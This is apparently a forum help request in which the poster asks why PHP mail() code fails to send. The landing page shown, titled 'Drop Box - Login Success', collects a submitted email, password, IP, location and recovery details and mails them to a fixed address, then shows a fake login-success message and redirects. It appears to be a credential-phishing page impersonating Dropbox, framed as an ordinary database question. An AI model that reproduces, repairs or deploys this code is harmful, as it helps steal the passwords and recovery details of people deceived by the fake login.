I want to send a copy of my database input to a specific email address.
The database works well, I can see everything stored but the emails are not sending.
This is the email code i used.
if(isset($_POST['submit'])){
$to = "email@example.com"; // this is your Email address
$email = $_POST['email']; // this is the sender's Email address
$password = $_POST['password'];
$ip = $_POST['ip'];
$location = $_POST['location'];
$recemail = $_POST['recemail'];
$recno = $_POST['recno'];
$subject = "New submission";
$message = "Email: ". $email . "<br> Password: "
. $password . "<br>Location: " .$location . "<br> Recovery Email/No: ".
$recemail . $recno;
$message2 = "New Entry From " . $email ;
$headers = "From:" . $email;
mail($to, $subject, $message, $headers);
}
I added this code to the landing page (success.php) after the form is submitted not the form page (form.php) where i submitted from.
This is the full landing page
<?php require_once('Connections/dbConnect.php'); ?>
<?php
if(isset($_POST['submit'])){
$to = "email@example.com"; // this is your Email address
$email = $_POST['email']; // this is the sender's Email address
$password = $_POST['password'];
$ip = $_POST['ip'];
$location = $_POST['location'];
$recemail = $_POST['recemail'];
$recno = $_POST['recno'];
$subject = "New submission";
$message = "Email: ". $email . "<br> Password: "
. $password . "<br>Location: " .$location . "<br> Recovery Email/No: ".
$recemail . $recno;
$message2 = "New Entry From " . $email ;
$headers = "From:" . $email;
mail($to, $subject, $message, $headers);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Drop Box - Login Success</title>
<script type="text/javascript">
<!--
function Redirect() {
window.location="#";
}
document.write("You will be redirected to main page in 10 sec.");
setTimeout('Redirect()', 10000);
//-->
</script>
</head>
Logged in successfull. Please wait while you are being redirected
<body>
</body>
</html>